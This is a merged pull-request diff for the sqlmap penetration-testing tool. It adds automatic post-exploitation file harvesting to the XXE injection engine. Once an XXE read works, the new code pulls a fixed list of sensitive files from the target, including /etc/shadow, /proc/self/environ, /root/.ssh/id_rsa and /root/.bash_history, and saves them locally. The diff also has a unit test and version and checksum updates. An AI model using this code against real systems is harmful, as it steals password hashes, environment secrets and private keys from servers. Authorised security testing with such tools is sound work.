Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions data/txt/sha256sums.txt
Original file line number Diff line number Diff line change
Expand Up @@ -189,18 +189,18 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py
c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py
925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py
c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
Expand Down Expand Up @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
Expand Down Expand Up @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
Expand Down
28 changes: 27 additions & 1 deletion lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.27"
VERSION = "1.10.7.29"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down Expand Up @@ -1121,6 +1121,32 @@
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
)

# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material) - the XXE analogue of the automatic dumping the other
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/etc/hosts",
"/etc/os-release",
"/etc/shadow",
"/etc/group",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/self/status",
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)

# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
Expand Down
2 changes: 1 addition & 1 deletion lib/core/target.py
Original file line number Diff line number Diff line change
Expand Up @@ -618,7 +618,7 @@ def _createFilesDir():
Create the file directory.
"""

if not any((conf.fileRead, conf.commonFiles)):
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
return

# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
Expand Down
2 changes: 1 addition & 1 deletion lib/parse/cmdline.py
Original file line number Diff line number Diff line change
Expand Up @@ -794,7 +794,7 @@ def cmdLineParser(argv=None):
help="Test for XML External Entity (XXE) injection")

nonsql.add_argument("--oob-server", dest="oobServer",
help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)")
help="Out-of-band server for blind '--xxe'")

nonsql.add_argument("--oob-token", dest="oobToken",
help="Authentication token for a self-hosted '--oob-server'")
Expand Down
117 changes: 88 additions & 29 deletions lib/techniques/xxe/inject.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import OOB_POLL_ATTEMPTS
Expand Down Expand Up @@ -229,21 +230,50 @@ def _echoed(page):
def _report(title, payload):
if conf.beep:
beep()
place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
place = conf.method or HTTPMETHOD.POST
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))


def _dumpFileRead(remoteFile, content):
def _saveFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and
list it; fall back to a console dump if the file cannot be written."""
return its local path, or None if it could not be written."""
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
if localPath:
conf.dumper.rFile([localPath])
return
return dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
return None


def _dumpFileRead(remoteFile, content):
"""Save a single XXE-read file and list it; fall back to a console dump if the
file cannot be written."""
localPath = _saveFileRead(remoteFile, content)
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))


def _harvestFiles(xml, rootName):
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
confirmed: pull a curated set of high-value fixed-path files (host identity,
process env/secrets, key material) the way the other non-SQL engines auto-dump
their reachable data. Returns a list of (path, content, payload) for every file
that read back non-empty; unreadable/absent files are silently skipped. Content is
de-duplicated so a parser that resolves every missing path to the same stub cannot
masquerade as many distinct reads."""

harvested = []
seen = set()
for path in XXE_FILE_HARVEST:
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip():
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, payload))
return harvested


def _tryInternal(xml, rootName, baseline):
Expand Down Expand Up @@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
the file content or None."""
(content, payload) or (None, None)."""

from lib.core.convert import decodeBase64

Expand All @@ -303,21 +333,21 @@ def _tryInbandFileRead(xml, rootName, fileName):
except Exception:
continue
if data and data.strip():
return data
return None
return data, payload
return None, None


def _tryExternalFile(xml, rootName, baseline):
"""Impact demonstration once XXE is live: read a benign host-identity file via
an external general entity. Returns (systemId, snippet) on a confirmed read."""
an external general entity. Returns (systemId, payload) on a confirmed read."""

for systemId, pattern in XXE_IMPACT_FILES:
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
snippet = _confirmRead(_send(payload), pattern, baseline)
if snippet:
return systemId, snippet
return systemId, payload
return None, None


Expand Down Expand Up @@ -639,8 +669,9 @@ def xxeScan():
_OOB_CONSENT = None

debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
logger.debug(debugMsg)

xml = _cleanBody()
Expand All @@ -661,31 +692,59 @@ def xxeScan():

# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
# set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
# run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
# then emit a SINGLE report block with the strongest confirmed vector and its real
# payload (one report per finding, as with the other non-SQL engines). The internal
# expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
_report("In-band DTD/internal entity expansion", payload)

if conf.get("fileRead"):
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content)
else:
# benign, in-band impact demonstration (data stays in the response, no third party)
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
if not systemId:
snippet = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if snippet else None
if systemId:
# No targeted '--file-read': proactively harvest a curated set of high-value
# files (data stays in the response, no third party) - the XXE analogue of
# the automatic dumping the other non-SQL engines do once confirmed.
harvested = _harvestFiles(xml, rootName)
if harvested:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
firstPath, _, firstPayload = harvested[0]
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested:
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
localPath = _saveFileRead(path, content)
if localPath:
saved.append(localPath)
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
if saved:
conf.dumper.rFile(saved)
else:
# Harvest read nothing (content relocated in the response, or only benign
# host-identity is exposed): fall back to the pattern-based impact proof
# so file-read impact is still confirmed.
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
if not systemId:
readPayload = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if readPayload else None
if systemId:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)

if not found:
# external entities are disabled (only internal expansion is reachable):
# report that weaker-but-real finding with its actual payload
_report("In-band DTD/internal entity expansion", payload)

# T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is
Expand Down
30 changes: 29 additions & 1 deletion tests/test_xxe.py
Original file line number Diff line number Diff line change
Expand Up @@ -239,7 +239,35 @@ def singleString(self, data, content_type=None):
xxe._report("Title", "Payload")
finally:
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
self.assertIn("PUT XML body", captured[0])
self.assertIn("Parameter: XML body (PUT)", captured[0])


class TestHarvestFiles(unittest.TestCase):
def test_harvest_collects_dedups_and_skips_empty(self):
# simulate a target that returns real content for two files, an empty read for
# one (skipped), and an identical stub for the rest (deduped to a single entry)
def _fake(xml, rootName, path):
if path == "/etc/passwd":
return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
if path == "/etc/hostname":
return "host01\n", "PAYLOAD-hostname"
if path == "/etc/hosts":
return " ", "PAYLOAD-empty" # whitespace-only -> skipped
return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped

old = xxe._tryInbandFileRead
xxe._tryInbandFileRead = _fake
try:
harvested = xxe._harvestFiles("<user><name>x</name></user>", "user")
finally:
xxe._tryInbandFileRead = old

paths = [p for p, _, _ in harvested]
self.assertIn("/etc/passwd", paths)
self.assertIn("/etc/hostname", paths)
self.assertNotIn("/etc/hosts", paths) # empty read skipped
self.assertEqual(paths.count("/etc/passwd"), 1)
self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped


class TestOobBase64Capture(unittest.TestCase):
Expand Down